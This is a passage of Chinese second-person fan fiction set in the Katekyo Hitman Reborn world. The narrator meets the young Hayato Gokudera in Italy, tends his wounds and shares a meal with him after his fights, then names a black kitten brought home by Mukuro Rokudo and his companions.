“啊,骸大人这一次居然没有反驳想要和春也一直一直在一起诶!”城岛犬敏锐发觉细节,六道骸指尖一僵,他kufufu笑着掏出三叉戟,六道骸皮笑肉不笑: “你就是这样抓重点的,犬?” “啊啊啊骸大人不要再打了啊,我知道错了!!” 柿本千种没有理会犬的嚎叫声,眼底的光明明灭灭,柿本千种看向不远处平和欢乐的居民,他想,就快了,很快,你们也会是其中的一员。 到那时,就算是一天二十四小时,你们也可以一直一直地待在一起。 第44章 六道骸他们一走, 你的脑子被冷风一吹,你瞬间冷静。后知后觉,你发现自己又被那三个混蛋哄住了。 死死盯着他们已经消失的位置, 你决定这几天都要准备他们都不能忍受的菠萝披萨!哼哼, 谁让他们总是把你当成小孩哄。 站在大门口, 等到太阳完全升起, 你一个人回到了新家。没了城岛犬、柿本千种和六道骸,原本温馨热闹的家瞬间冷寂下来, 你扭头看向窗外的风景, 明明从前你最爱独处的时光,但不知道什么时候, 你开始习惯身边永远都有犬、千种和骸骸的身影。 现在,身边骤然没有他们的陪伴,你反而还有些不习惯。 深吸一口气,你拍了拍自己的脸,反正, 骸骸他们总会回来,你决定先自己探索一下新家的周边环境, 瞬间解决一下自己的午餐问题。 照例戴好帽子和墨镜, 你裹上柔软的红色围巾,然后欢快往外蹦跶。 等骸骸、犬和千种空闲下来,你对周边也会变得非常熟悉,到那时,你就可以带着他们去各种各样你挖掘出来的宝藏地点玩乐啦! 怀抱着美好期待,你眼神犀利地开始观察。 新家的位置不算偏僻,口袋里装着骸骸给你的零钱,乘车后, 你随机选了个地点下车。今天的天气有点古怪,你出门没多久后,原本温暖的太阳慢慢消失在云层中,你抬头看看还算晴朗的天空,掐指一算,你觉得今天不会下雨。 你一边思考着下雨的问题,一边想着今天的午餐该吃什么,虽然你很想吃螺蛳粉那些啦,但是很明显,意大利这边的城镇并没有这些东西贩卖,想到年代问题,说不定螺蛳粉都还没出世呢,你颇有些可惜地想。 如果你能知道这些美食的做法就好了,只可惜浅显的前世记忆告诉你,你每日三餐最常做的就是点外卖,时不时的下厨也是煮那些现成的速食产品,除了最简单的家常菜,你的脑子里根本没有装有用的菜谱。 来到异世后,你的三餐也是被六道骸他们承包,你甚至连厨房都很少进。 或许你可以和骸骸他们说一下你的想法,尤其是骸骸。在你眼里,六道骸总是无所不能。 内心思索着,忽然,你看到了不远处的便利店。 要不直接就去买个热饭团吧,你摸了摸肚子,热气腾腾的鸡肉海苔饭团也很好吃,这样想着,你走入了那家便利店。 大而静的便利店没什么人,唯一的活人就是收银台前这个臭着脸的少年。 不会就是因为臭脸少年,所以这家看上去种类繁多的便利店才没什么人吧,你忍不住想。 银白发色的少年对视线异常敏感,察觉到你的目光,他眼神凶狠地盯着你。你并没有害怕,拿起玻璃柜里保温的饭团,你踮起脚尖把它递给那个少年:“结账。” 你还是第一次遇到这种态度的人,你不免又盯着他看了几秒。银白发少年看上去脾气不太好,他似乎要说些什么,但估计想起了不太愉快的事,他又硬生生忍了下去,银白发少年把饭团装好袋子,他重新把饭团递给你:“15.” 付完钱,拿走饭团的时候,你习惯性说了声谢谢,银白发少年愣住一秒,在你离开前,他别过脸小声说了句不客气。 听到他的声音,没忍住,你回头看了他一眼。 应该不会再见了吧,这样想着,你走出了便利店。 第45章 温热的饭团握在手里, 勉强驱散了一丝冬日的严寒,你小心翼翼压下围巾,然后坐在椅子上慢吞吞吃起饭团。 这里人少, 再加上有六道骸的幻术遮掩, 你并不担心自己的安危, 更何况, 你的口袋里还装有几枚特殊子弹。 认真吃完饭团,你饱腹了一半, 剩下来的时间还多, 你重新裹好围巾,随手将垃圾袋扔到巷子前的垃圾桶, 你开始漫无目的地在意大利小城镇闲逛。 意大利独特的建筑总是会令你不自觉驻足欣赏,你很喜欢这种拥有年代味道的冰冷建筑。直到夜幕低垂,你终于意识到自己该回家了。 小心避让人群,你慢吞吞往前走,目光略过阴暗巷口里堆叠的黑色扭曲身影, 打斗的声音绵绵不绝地从里面传来。 也许是街头堕落的青年,也许是混混斗殴……你漠不关心地收回目光, 无论是哪一种情况, 你都没什么想要上去探究的意思,灰蓝色的眼眸隐隐流露出几分非人的冷漠感,你转身准备离开,但心底残留的理智和不忍又迫使你停下步伐。 走出一段距离,你听着里面隐隐的爆破声,你烦躁地摸了下口袋里的子弹,枪支藏在包里,你忍不住将脸埋入围巾。 围巾是今早柿本千种为你熨烫过的, 汲取着片刻温暖,你还是没忍住回头看一眼情况。 渐渐暗沉的天空下,瘦削的黑影靠墙站立,在他面前是倒了一地的“尸体”,你并不知道这群人是死是活,你只是有些惊讶地看着那个少年。 太阳尚有余息,月亮已经迫不及待登上高空,一瞬间,银白发少年像是被世界钟爱一般,迟暮的日光和初升的月光尽数照在他身上。 逐渐昏暗的光线下,唯有他的那头银白发异常显眼。 狱寺隼人不耐烦地掀起眼皮,祖母绿的眼睛尖锐又狠戾,他冷淡地望向巷口外的位置,指尖还夹着未用完的炸药,看到是你,狱寺隼人攥紧炸药,他皱眉,神情警觉。 “你怎么过来了。” 被敌人堵在巷口的时候,狱寺隼人敏锐发现了你的踪迹,你选择离开后,狱寺隼人也没什么想法。他这样的人,还是少与他产生联系比较好。 目光落在你干净柔软的衣服上,短暂停留片刻,狱寺隼人又移开视线。 让他意外的是,你走远后,又回来了。 是敌人吗?还是一个单纯的普通人? 狱寺隼人发现自己看不破你的伪装,心里依旧警惕,但他始终没有点燃指间的炸药。 等确认了你的目的,再出手也不迟。 “我来看一下情况。”你发现了银白发少年对你的警惕,看着他凶狠带刺的表情,你莫名幻视了一只警惕朝你哈气的流浪猫,站在原地保持原样,你没有上前惊扰他。 “他们是欺负你的人吗?” “需要报警吗?” 听到你的话,狱寺隼人愣了一下,隔着墨镜,他看不清你眼底的神色,但狱寺隼人呢能感觉出你现在对他没有恶意。有些烦躁地捏紧炸药,狱寺隼人语气僵硬:“警察可不会管这种事。” 意大利的黑手党,连警察都会退避三分,更何况有一些还会同流合污,离家出走的这些时光,狱寺隼人见过很多。 捏着炸药的手指顿了顿,狱寺隼人的眉眼间又染上了几分戾气。 ——他只相信自己。 你不是是非不分的人,看倒在地上身高马大的几个大男人和地上散落的子弹,又看看势单力薄的银渐层少年,怎么想少年也不像是主动挑事的人。 而且,虽然眼前的人看着高,但看他稚嫩的面容,你直觉这家伙和骸骸他们差不多大。 一想到骸骸他们也有可能被人挑衅欺负……不,不对,骸骸、犬和千种可是很强的,你相信他们。 视线落在银白发少年脸上的伤痕,红色的血珠挂在伤口上,狱寺隼人却像是浑然不在意自己身上的伤口,思索间,你缓缓朝他靠近:“你受伤了。” 肉眼可见的,狱寺隼人绷紧了身体。 第46章 毁掉实验室后, 你就一直生长在六道骸、柿本千种和城岛犬的翅膀下,你也试过锻炼自己,但不管如何努力, 第二天恢复如新的身体丝毫不会留下训练痕迹。 扭曲过后的完全健康, 远不是你认知里的健康。但尽管如此, 六道骸他们也没让你就此成为只能依靠他们庇护才能活下去的废物点心, 对于轮回过的六道骸而言,体术并非是你唯一选择。就算无法让你强大到和犬、千种一样, 至少, 也不会再出现你困于普通人之间却只能被迫等待救援的情况。 所以,你现在也能大胆随自己心意行动。 你没有在意因白发少年忽然紧绷的神情, 手指在口袋里掏了掏,你拿出柿本千种替你备好的创口贴和医用绷带、酒精,你迎着银白发少年警惕的神情,你缓缓走近他。 “不介意的话,用这个处理一下伤口吧。” 银白发少年没有出现想要伤害你的举动, 哪怕在你任性地选择靠近他时,少年也只是捏紧了手里的炸药。像警惕的兔子, 银白发少年不知出于什么目的, 一直保持着敌不动我不动的姿势,你并没有从中感受到威胁,你只觉得这样有些炸毛警惕的少年有点点可爱。 “我不需要。”狱寺隼人看不懂你的目的,察觉到你没有敌意,他抿了抿嘴,无法理解你都看到这幅场面了,居然还敢接近,哪怕是他, 也无法确定这群人还有没有后手。不过就算有,他也不会畏惧就是。 想到这里,狱寺隼人没忍住又把视线挪到你身上,残留着血腥和狠戾的绿眼睛眯起,狱寺隼人简单打量了你一番。 柔弱无力的四肢、完全没有过锻炼痕迹的四肢,就算你把自己包裹得严严实实,通过你的走姿和说话气息,狱寺隼人也能做出判断,你就是一个完完全全的普通人。 确认是和里世界没有瓜葛的存在后,狱寺隼人冷冷收起炸药,他站直身体,无视身体传来的伤痛,狱寺隼人冷酷从你身旁离开,随意踢开挡路的“尸体”,路过你时,狱寺隼人嗓音微哑:“离我远点。” 裹着血与杀意的外套在半空中掀起冷漠的弧度,你下意识伸手拽住了他的手腕。 有人袭击! 狱寺隼人条件反射拽住你的手腕想要狠狠弯折,下一秒,意识到手中不同于以往的杀意,狱寺隼人又凭借超强的反应能力硬生生停住了自己充满杀意的动作,他立马扭头,看你又把医疗用品往他面前递了递,甚至还毫无知觉地重复了遍刚刚的话,狱寺隼人凶巴巴地松开拽住你的手。 “你这家伙,是白痴吗?!” 差一点点,你的手腕就会骨折。 你茫然地眨了眨眼,不是很难理解这个时期小孩子的想法,算了,看在这孩子长得好看的份上,你勉强能原谅他的不礼貌,你无辜道:“我不是呀。” “因为我之前也经常会受伤,所以我知道受伤的滋味不好受。更何况——” 你瞥了眼地上几个生死不明的人,“这几个也不是什么好人吧。” “你认识他们?” 在你说完这句话后,野生银渐层又开始警觉起来,漂亮的绿眼睛在一瞬间染上了晦暗的色彩,你没有理会小银渐层的警惕,你干脆伸手拉着他离开这里。 “那种事情还需要认识才能知道吗?这不是一看就能知道的事吗?”对于人的好坏,你自有一套自己的辨认逻辑。 见银白发少年还是一脸不信任的模样,你也不在意,你才没有和人解释的义务呢,让他自己琢磨去吧。 直到被你拉着坐在公园的长椅上,狱寺隼人也没想明白,自己怎么就这样任你带着走了。可恶,绝对你是施展了魔法,不然,以他的实力想要制住你,根本就是轻轻松松! “先用酒精消个毒,再裹上专用的绷带,小伤口就用创口贴。”嘴里念叨着,你强行压下想要临阵脱逃的少年,站在他面前,你双手叉腰,“还没开始呢,该不会你是怕了吧。” “哈?我才不会怕!” “是吗?”你故意拖长音,简单的激将法对付这个年龄段的小朋友刚刚好,虽然招式老,但有用就行。 “我还以为你是怕酒精淋在伤口上的痛感,所以才不敢治疗呢。” “当然不是!”果然,年纪还小性格暴躁的狱寺隼人上钩了,“这种伤痛,根本不足以畏惧!” 说是治疗,不过是简单的消毒和包扎手法罢了,如果不是你看狱寺隼人只受了点小擦伤,你肯定会让狱寺隼人去医院。只可惜夏马尔的诊所不在这边,不然有夏马尔在,就算是致命伤,那家伙说不定也能治好。 想到夏马尔,你的脑子里又突兀地想起了匆匆瞥过几次的小婴儿身影,说起来,明明是个婴儿,却莫名不会让人小觑呢。大约是自己都能来到异世界,你对奇怪的小婴儿也没什么特别的看法,不过你总觉得他会有某些隐藏的身份,比如说某个大魔王的转世或者孩子,也有可能是某人的家庭教师。 日漫里都是这样的,虽然这里是意大利,但你莫名觉得,就算把这群人塞入日漫,也丝毫不会违和。 你很快从回忆里抽离开,反正都是些不会再有联系的人,没必要想那么多,对你而言,最重要的一直都是骸骸、犬和千种。 “好了。” 大功告成,你满意地看着自己的杰作,就算一心二用,你也圆满完成了自己的工作。 “之后小心不要碰水。”你学着以前以前护士对你说过的话,你认真对眼前这个不会听话的少年叮嘱了两句,尊不尊医嘱是他的事,反正你想做的都做完了。 狱寺隼人沉默盯着自己手上的创口贴,“你为什么……” 话刚出口,狱寺隼人就意识到有哪里不对,他匆忙止住,但你已经听到了,自然,你也清楚他想说什么。 “可能是因为,你的发型和我认识的一个人挺像的。”特别的章鱼头,在这个都是普通造型的世界里,就像骸骸的凤梨头、犬的灿烂金发和千种漂亮的眼睛,给你留下了浅浅的特别印象,尤其是,每次救治你时,夏马尔都用了十足的精力和安抚。 你不讨厌夏马尔,自然,对和他相同发型的银白发精致少年,你也讨厌不起来。 相同发型?狱寺隼人第一个想到的就是夏马尔,但很快,他又否定了这个堪称荒谬的想法。自上次夏马尔不愿再教导他后,狱寺隼人再也没能找到他的身影。 想起夏马尔的话,狱寺隼人沉默地握紧拳头。 总有一天,他让Smoking-bomb的名声响彻整个里世界,他会证明自己! “咕噜噜~” 在名声响彻里世界之前,狱寺隼人遭遇了新的危机。 ——他饿了。 察觉到你看过来的目光,狱寺隼人羞愤地捂住自己不断叫的肚子,“看我干嘛,蠢女人!” 可恶,因为这群人的袭击,他今天还没来得及吃上午饭。不过自离家出走后,这种事情很频繁,狱寺隼人也从不觉得有什么,但不知为何,在你不知意味视线的注视下,狱寺隼人第一次觉得耳朵热热的。 还没等他起身离开这个讨厌的地方,面前就出现了一个香喷喷的饭团,还有金灿灿的炸鸡腿。香气不断引诱着他,狱寺隼人无意识吞咽了下口水,饥饿状态下,任何来自美食的诱惑都是致命的。 但很快,狱寺隼人清醒过来,他盯着你,眼神却没有一开始警惕。 “我们一起吃。”你没说什么这是给他的食物,将买了还没开始吃的食物一一摆放在你们之间的长椅空隙上,你苦恼地看着这些食物,“第一次出门太兴奋,一不小心就买多了。” “不过还好有你,不然的话可怜的食物就得浪费掉了。” “我才不饿。”在美食的诱惑下,狱寺隼人艰难抵住了诱惑,他倔强地别过脸,他才不会吃陌生人……唔唔…… 嘴巴猝不及防被你塞入香喷喷的大鸡腿,像骤然受惊的仓鼠,狱寺隼人瞪圆眼睛,连带着凶恶可怕的表情都变得软萌可爱了不少。 有亿点点可爱,你看着受惊的小少年,在心底感叹了下银白发少年的颜值,你也拿起香辣大鸡翅。 刚出炉没多久的鸡翅还带着热气,轻轻一扯,裹了层芝士的鸡翅便拉出长长的诱人的丝线,你嗷呜咬下一大口,酥脆微辣的鸡肉带着芝士的香咸,夹杂着不知名的香料,你满足地眯起眼睛。 不愧是被誉为意大利最值得光顾的店铺,除了贵,没别的毛病。 和你痛快吃起来的反应不同,狱寺隼人因为你突然地塞入食物还有些蒙圈,他呆呆愣住,嘴里是鸡肉的诱惑,狱寺隼人下意识拿出鸡腿,瞥见你吃得正专心,狱寺隼人盯着自己碰过的鸡腿,犹豫了下,狱寺隼人又咬了一口。 “怎么样,味道不错吧。”你得意翘起嘴角,这可是你精心挑选后买的食物,货比三家,童叟无欺。 狱寺隼人啃完鸡腿,他拿起纸巾认真擦拭起油腻的手指,听到你的话,狱寺隼人勉强点头:“还行。” “这里还有。”男孩的食量会大一些,你把食物又往狱寺隼人旁边推了推,“不要客气。” 见他还是羞涩没有反应,你把新开封的披萨递了一块到他手上。 …… 好奇怪,狱寺隼人拧眉盯着你,你还在认认真真地消灭食物,狱寺隼人不能理解你为什么可以这么直白地像他示好。就算是从前在家族,除了那个女人,他很少见过你这样的人。 而离家出走后,时刻游走在死亡边缘,他更是见惯里世界的阴暗面。 “你想从我这得到什么?”狱寺隼人半点没有关注手里的披萨,他认真而专注地盯着你,虽然现在自己名气没有达到自己想要的地步,但Smoking-bomb的名号已经开始被里世界所知,难不成,你是冲这个来的? 普通人也会有得知里世界的渠道,狱寺隼人毫不怀疑这点,他可不是那种给个鸡腿就会连最基本的防范都忘记的蠢货。 你的脑袋上竖起大大的问号。你忍不住歪头看向银白发少年。狱寺隼人还在观察你的表情,作为黑手党,分析面部表情是最基础的审讯手段,就算你戴了墨镜…… 看到你脸上自始至终都没有摘下的墨镜,狱寺隼人也跟着你的动作无意识歪了歪脑袋,是为了遮掩容貌吗?注意到你白皙的下巴和红润的唇色,狱寺隼人刚和你对上视线,转瞬又羞恼地移开。 “想让我们都吃饱,算不算?” 别过脑袋的狱寺隼人耳朵动了动,听到你的答案,肉眼可见的,他的耳根开始泛红,只是耳朵隐藏在长长的银白色发丝下,你这才没看到。 狱寺隼人也说不出心里的想法,他下意识咬了口手里的披萨舒缓下心里奇怪的情绪,还没等他开始吞咽,狱寺隼人就意识到不对,他终于给了披萨一个眼神,狱寺隼人震惊看着披萨里面突兀的水果。 “!” “怎么样,披萨的味道是不是很好?”你期待地看向狱寺隼人,虽然一开始骸骸他们还有些抗拒,不过后来大家都喜欢这种新口味了,犬是第一个接受的,千种是第二个,倒是骸骸不知道为什么,每次都神色莫名地盯着披萨。 “菠萝披萨?!异端!!这绝对是异端!!”狱寺隼人几乎是极力克制着才没使自己惊叫出声。 “才没有!菠萝披萨是最好吃的披萨!!” 虽然最初是用来惩罚骸骸他们的,但自从他们喜欢上后,你们都会开始尝试各种各样神奇搭配的食物。目前,菠萝披萨居首位。 狱寺隼人还不知道有意大利人背叛了意大利,他死死盯着面前被他咬了一口的菠萝披萨。 ——大意了,原来这才是你真正的目的吗,恐怖如斯。 涉及到意大利人的尊严,狱寺隼人拧眉,他的表情愈发凶恶可怕,“喂,蠢女人,你知道你在做什么吗?!” “可恶,披萨里面怎么能加该死的菠萝?!这绝对是对披萨的不尊重!!” “但是,你不觉得菠萝的酸甜中和了披萨的腻歪吗?添加了菠萝,连披萨都变得更加清爽可口了。” “哈?那种事情怎么可能!!”狱寺隼人一脸抗拒,虽然他还小,并且是个混血,但狱寺隼人自认他对披萨的心还是很真诚的,尽管离家出走后,因为资金问题他很少会去买这些东西,但他身上的意大利血脉绝不会允许他眼睁睁看着披萨的惨剧发生!! “可是,你刚刚不是吃得很开心吗?”你一脸无辜地点了点狱寺隼人胃所在的位置,“刚刚的那一口,已经被你吃下去了呢。” 狱寺隼人脸色苍白地看你吐出恶魔的低语。 “菠萝披萨的味道,其实很不错吧。” 可恶,快说点什么反驳啊!狱寺隼人僵硬地捏着手中宛若来自地狱的菠萝披萨,菠萝的清爽似乎还停留在口腔,看着你得意洋洋的表情,狱寺隼人的大脑正在疯狂组织措辞,还没等他再说些什么,狱寺隼人脸上轻松的表情忽然消失,他猛地站起身拦在你面前,狱寺隼人又恢复成了你最开始见到他的模样。 “怎么了?” “有敌人。”狱寺隼人快速解决掉手里的披萨,纸巾简单擦拭了下手指,狱寺隼人快速从口袋里掏出还没用完的炸药,他眼神锐利地盯着某一处。 “都被发现了,还打算躲躲藏藏吗?” “哼,你就是Smoking-bomb吗,看来也不过如此啊。”几个训练有素的人咻得一下出现,你疑惑又警惕地看过去,发现他们的目光只是停留在银白发少年身上后,你明白他们的目的不是你。 你微妙舒了口气,也是,当初实验室的人全被杀了个干净,有六道骸、城岛犬和柿本千种在,怎么可能还会有活口留下。 银白发少年姿态凶狠地站在你面前,背对着他,你看不到银白发少年脸上的表情,对面人还在放狠话,你伸手戳了戳面前人的腰窝,你小声开口:“这些人好像是冲你来的。” 因为不想引起对面人的注意,你是垫着脚凑到银白发少年的耳边说的。 呼出的热气散到敏感的后脖颈,狱寺隼人立马反应很快地扭身,但他还记得没有把你完全暴露在那群人的面前,“你是白痴吗?!” 见你还是一脸茫然,狱寺隼人恶声恶气地开口:“说话就说话,靠那么近干嘛?!” 你没有理会银白发小少年的抱怨,你问出了自己最想知道的问题:“你能打赢他们吗?” “呵,这种货色。”狱寺隼人冷笑着点燃炸药,他眼神暴戾,“我怎么可能会在这里倒下!” 说着,狱寺隼人迎了上去。 这是你第一次看到狱寺隼人打架现场,和你想象中的轻松惬意不同,狱寺隼人打斗起来完全不在乎自己会不会受伤,很多时候,他都会以伤换伤,靠着不要命的疯劲,狱寺隼人赢了。 彻底下死手前,狱寺隼人的动作顿了顿,但还是毫不犹豫地下手了,他不可能给自己留下活的敌人。 ……这样一来,你也能彻底认清你和他之间的差距。 长长的睫毛在绿眸里打下一片阴影,炸药耗尽,狱寺隼人低头看着红色的血从手腕处流向指尖,周围没有丝毫声音。 走了…吗…… 哼,走了也好。 缓慢的,他握紧了手,刚刚还活气的眼底没有丝毫笑意。 像一只刺猬,狱寺隼人浑身扎满了尖锐狠戾的刺。 沉默转身,正准备离开前,他被你拉住了。 “怎么又搞得身上都是伤啊。” 你的口吻带着亲昵的抱怨,狱寺隼人愣愣低头,原来不知道什么时候,你已经从安全区走向了他。 见你对着他的伤口大惊小怪,狱寺隼人不自然地抽回手,“这点小伤根本不算什么。” 最严重的一次,他在某个小型黑手党家族的围攻下,几乎濒死,但他还是活过来了。也是那一战,打响了他的名声。 “不痛吗?” 你好奇,没有痛觉的生活下,你的大脑恍若帮你自愈般,你开始日渐忘记曾经刻入心肺的痛楚,但你模糊的记忆还会让你记得你曾有过的不开心。 “我又不怕痛。”狱寺隼人酷酷地甩了甩手,怕痛会影响战斗状态,一不留情就会被取走性命,现在,狱寺隼人在自己的训练下基本可以在战斗过程中无视疼痛。 “嘶。” 耳边传来一道轻轻的吸气声,你挑眉,“不是说不痛吗?” 被你用酒精浇灌又直直按压伤口的某人:“你是笨蛋吗,这样当然还是会痛的啊!!” 尽管极力保持表情管理,但狱寺隼人还是没忍住龇牙,无他,这一次的敌人可不是之前的歪瓜裂枣,狱寺隼人打赢他们也是费了很大一番功夫,再加上之前就受了点伤……伤上加伤,疼痛程度也明显不同。 “哼哼,所以下次打的时候还会这么不管不顾吗?”听着银白发少年极力忍耐下的抽气声和不断起伏的腹部,包扎完之后你捏起他没什么肉的下巴,“受伤可不是值得奖励的事情。” 骸骸他们就从来没有在她眼前受过伤。 “啰嗦死了啊!”狱寺隼人红着耳根看你骤然放大的面孔,如同应激的猫,他一下打掉你捏住他下巴的手,“我才不要你管!!” 你诧异:“我没想管你啊,毕竟战斗模式是你自己的事啦,” 但奇怪的是,听到你超级有分寸的话后,银白发少年的心情似乎更差劲了。 在刚刚狱寺隼人和敌人的打斗过程中,天色彻底暗了下来,你后知后觉发现时间已经很晚了,想起骸骸他们会在家里等你,你开始急急忙忙收拾东西。 “我要走了。”公园里没有亮堂的灯,你扭头看向还站在原地的银白发少年,你朝他挥了挥手。 狱寺隼人没有回答你,他烦躁地别过脸,但想到你要离开,没忍住,他又把脑袋转了回来。 狱寺隼人没有经历过这样和异性的结交分别,他也不清楚自己应该怎么做,于是狱寺隼人只好像傻乎乎的大狍子一样,安静站在原地注视你离开的背影。 “对了,忘记说了。” 忽然,你转头看向他,狱寺隼人听到你清亮的嗓音里带着期待,“我叫今春也,今天很高兴认识你。” “我可以知道你的名字吗?” 心脏忽然涌上奇怪的感觉,这种感觉甚至驱散了他内心的烦躁,那双碧绿色的眼睛在昏暗的夜晚里像是会发光,就像狼的眼睛,绿幽幽的目光始终落在你身上。 最终,在你的等待下,狱寺隼人说出了他的名字。 “狱寺隼人。” 第47章 名字是最短的咒。交换了名字后, 狱寺隼人忽然觉得自己隐隐和你有了一层薄薄的联系。皱着眉,他将这种奇怪的感觉甩到脑后。 意大利这么大,他可不觉得你们之间还会有第二次见面。 和狱寺隼人脑海里繁杂的思绪不同, 你在看到六道骸、城岛犬和柿本千种的时候, 便将这件小插曲忘到了脑后。 “今天你们回来的好晚啊。”你轻声抱怨着上前, 你本以为你回来的时候已经够晚了, 没想到六道骸他们还在你后边才回家。 “今天的敌人麻烦了点。”城岛犬抬手自然地揉了揉你毛茸茸的脑袋,虽然他们没有带上你, 但也没有隐瞒你他们在做什么的意思。 “春也吃过饭了吗?”柿本千种看着空荡荡的餐桌, 他的目光忍不住落到你肚子上,以往也不是没有你因为等待他们而一直没有吃饭的情况。 “吃过啦。” 在六道骸他们不赞同你空着肚子等待后, 你总是会先照料自己的肚子。 “最近我们会比较忙。”柿本千种难得说了一长串的句子,他耐心地向你解释:“春也要好好照顾自己。” 三个人都不是蠢笨的人,他们嗅到了某种危险临近的气息。说实话,城岛犬、柿本千种和六道骸都不担心自己,但是他们唯一放心不下的是你。 “诶, 又要忙起来了吗?”你不满,“这次的敌人很难解决吗?” “需要我帮忙吗?” “kufufufu……还没到春也出手的地步呢。”六道骸古怪笑了两声, “都是些手下败将。” 说着, 六道骸掏出三叉戟,比他人还高的三叉戟上插了快小煤炭。 “这是?”你疑惑看着六道骸的动作。 “被人丢掉的小东西。”六道骸挑了下眉,手指微动,那块煤炭和你面面相觑。 “是骸大人特意带回来的伴手礼啦。”城岛犬大大咧咧戳破了六道骸的不诚实,“骸大人找了很久才找到合心意的存在。” 六道骸皮笑肉不笑地看着没心眼的城岛犬,打了那么多次,这家伙还真是一点记性都没有,看来还是自己揍得不够多啊。 城岛犬后背一凉, 他警觉地四处瞅瞅,最后将怀疑的目光钉在柿本千种身上,后者半点没有理会的意思。 看清小煤炭的真实模样后,你兴奋地举起小煤炭:“是猫——!!” 你一直想养一只猫,但诸多犹豫下,你始终没有付诸行动,没想到六道骸会给你带回这么惊喜的礼物! “呜哇!最喜欢骸骸了!!”你捧着小黑猫抱住六道骸,脑袋使劲蹭了蹭他,六道骸刚准备回抱你,你就已经松开了这个怀抱。 “啊啊啊怎么办怎么办是活的猫诶!!”你抱着小黑猫,像抱着危险核武器,一时之间有些手足无措,开心又烦恼的话一溜烟地从嘴巴里冒出:“小猫要吃什么呢,这还是一只没长大的小奶猫啊,我记得猫猫乳糖不耐受,是不是还要打疫苗,等等,好像要先给它取个名字来着,啊啊啊啊好糟糕好糟糕猫猫会喜欢我吗?呜呜万一我养不好它怎么办?” 六道骸早就收回了手,他好笑地看你不停碎碎念,时不时还伴随着几道小声的尖叫,就跟普通的小孩子一样。 “怕什么。”六道骸伸手拦住了过于激动的你,他看着你泛红的眼尾和眼底尚未消散的开心,微凉的手指轻轻划过你的眼角,六道骸眉眼放松:“我们也在。” 你知道,在你快要忘却的记忆里,为了想要记住什么,你曾和六道骸说过很多你的事情,尽管那些事情现在都已经蒙上了一曾朦胧的模糊色彩,你也不曾想过那些消散的记忆会在你们空洞的心下留下什么明显的痕迹,但显然,六道骸还是记住了。 他比你想的还要铭记得清楚。 他知道你想养的小猫,他知道你会喜欢吃些在他眼里奇奇怪怪的食物,他知道你不喜欢杀人……他什么都知道,但他什么也没有说,只是在你无意间想起时,你恍然发现,原来六道骸一直在保护着你珍贵的记忆。 你看着离你很近的六道骸,忽然,你鼻子一酸,掩饰性地抱紧小黑猫,你露出一个大大的笑容:“嗯!” 你忘记了好多记忆,但是没关系,还有一个人,永远在为你记住。 “话说,这只猫是哑巴啦。”城岛犬凑过来戳了戳你怀里的小黑猫,“从我们把它带回来,它就没说过话。” “该给它取个什么名字好呢?”你拍开城岛犬没轻没重的手,无视后者委屈的神色,你对着灯光举起小黑猫,你终于看清了它的全貌。 “哇是金色的眼睛诶!”你惊叹:“和犬一样呢,是我喜欢的颜色。” 悄悄竖起耳朵的城岛犬不自在地咳嗽了声。 “是个男孩子啊。”你若有所思,男猫猫的话,绝育更方便些。 城岛犬莫名一寒,金色的眼睛盯着你,城岛犬想破脑袋也不会知道你现在脑子里的想法。 柿本千种淡定放下手里的其中一个袋子:“猫需要的东西我们都买好了。” “千种好靠谱!” 你小心翼翼把小黑猫放在地上,小黑猫也不怕生,它在你脚边转了几圈,而后懒洋洋趴上你的鞋子一躺。得到你夸赞的柿本千种自然托了托眼镜,如果忽略他泛红的耳尖,还能算得上是游刃有余。 “决定了——”忽然,你双手一拍,语气郑重,城岛犬、柿本千种、六道骸不由自主都专注地竖起耳朵看向你。 “就给它取名和子吧。” “和子?给黑猫取这个名字吗?” “我和犬和千种和骸骸,和子就像一条具象化的纽带,将我们紧密连接在了一起。” 你说的简单直白,城岛犬、柿本千种和六道骸一下就明白了你的意思。 “和子,很好听的名字。”柿本千种蹲下身小心碰了碰和子柔软的浮毛。 “嘛嘛,这样的话,和子也算我们的家人了啊。”和柿本千种比起来,城岛犬的力道就重多了,他伸手一戳,原本躺得好端端的和子瞬间骨碌骨碌从你鞋子上滚了下来。 你自然看到了这个场面,握紧拳头,你狠狠给了城岛犬一击,“犬是笨蛋吗?!和子它才这么小啊——” 捂着脑袋,城岛犬委屈地被你驱逐在和子的三米之外。 可恶,他都没有用力! 和子颤颤巍巍地站了起来,和子颤颤巍巍地往你所在的方向走了几步,和子声音颤抖:“咪~” 弱声弱气的叫声透着委屈,你立马心疼地抱起瘦小的和子。 “好啦好啦,犬是大笨蛋,和子不跟他玩啦。” 城岛犬不敢置信:“这猫是故意的吧!!进门的时候我也戳它了,那时候它都没有叫!” “一定是因为有了名字。”你摸了摸和子的脑袋,它瞬间不叫了,小黑猫安安静静地蜷缩在你怀里,它又变得懒洋洋起来,连漂亮的金色眼睛都一眯一眯的。 你也跟着眯起眼睛:“有了名字,就有了归属感。和子现在也觉得自己是我们家的一员了呢。” “这么小的猫懂什么。”城岛犬不满撇嘴。 你只是挠了挠和子的下巴:“你说是不是呀,和子。” “咪呜~”和子娇声娇气地附和你。 “我怎么感觉这猫在和我作对?!”城岛犬也眯起眼睛。柿本千种淡淡瞥了眼笨蛋不说话,你笑了下,朝城岛犬招了招手,他忽然别扭地对着和子哼了声,然后走到你面前。 你抬手揉了揉城岛犬的脑袋,“和子只是一只猫啦。” “所以它需要我们去教哦。” 你举起和子放到城岛犬面前,歪了歪脑袋,你的脸从和子身后露了出来:“来和我们的和子打个招呼吧。” 城岛犬愣愣盯着和子身后的你,看到你眼里的温和和喜爱,城岛犬一时不知道你的喜欢对的是他还是和子,但是,你的眼睛倒影的是他的身影。 见城岛犬一直没说话,你疑惑:“嗯?” 城岛犬这才后知后觉回了神,他不自然地移开视线:“我知道了啦。” “那,两个人要好好相处哦。”你把和子又往城岛犬面前递了递,他抓了抓头发,但还是伸手接过了和子。 “说起来,和子听上去明明像个女孩的名啊。”城岛犬举起小黑猫:“和子这家伙是个雄性啊。” “诶?那犬是不喜欢这个名字吗?” “没有,和子很好听。” 把我们四个人连接起来的纽带吗……城岛犬忽然又看这个蠢猫顺眼了点。 六道骸静静看着你们玩闹,他的视线总是下意识追寻你的身影,他看你逗弄着和子和犬,六道骸也没有出声说些什么,他的心里也难得没有想些你彻底被他蛊惑住的事实。 Kufufufu…真是堕落啊,他竟然觉得,如果你们能够一直这样下去…… 但是,还不行。 仇恨的火焰会变小变温和,但永远不会消失,只有真正完成自己的理想,他才能够谈论那些所谓足够明媚与正常的未来。 垂下眼帘,六道骸看着自己瘦小的手,他握紧拳头,六道骸的心里总是有一股危机感。 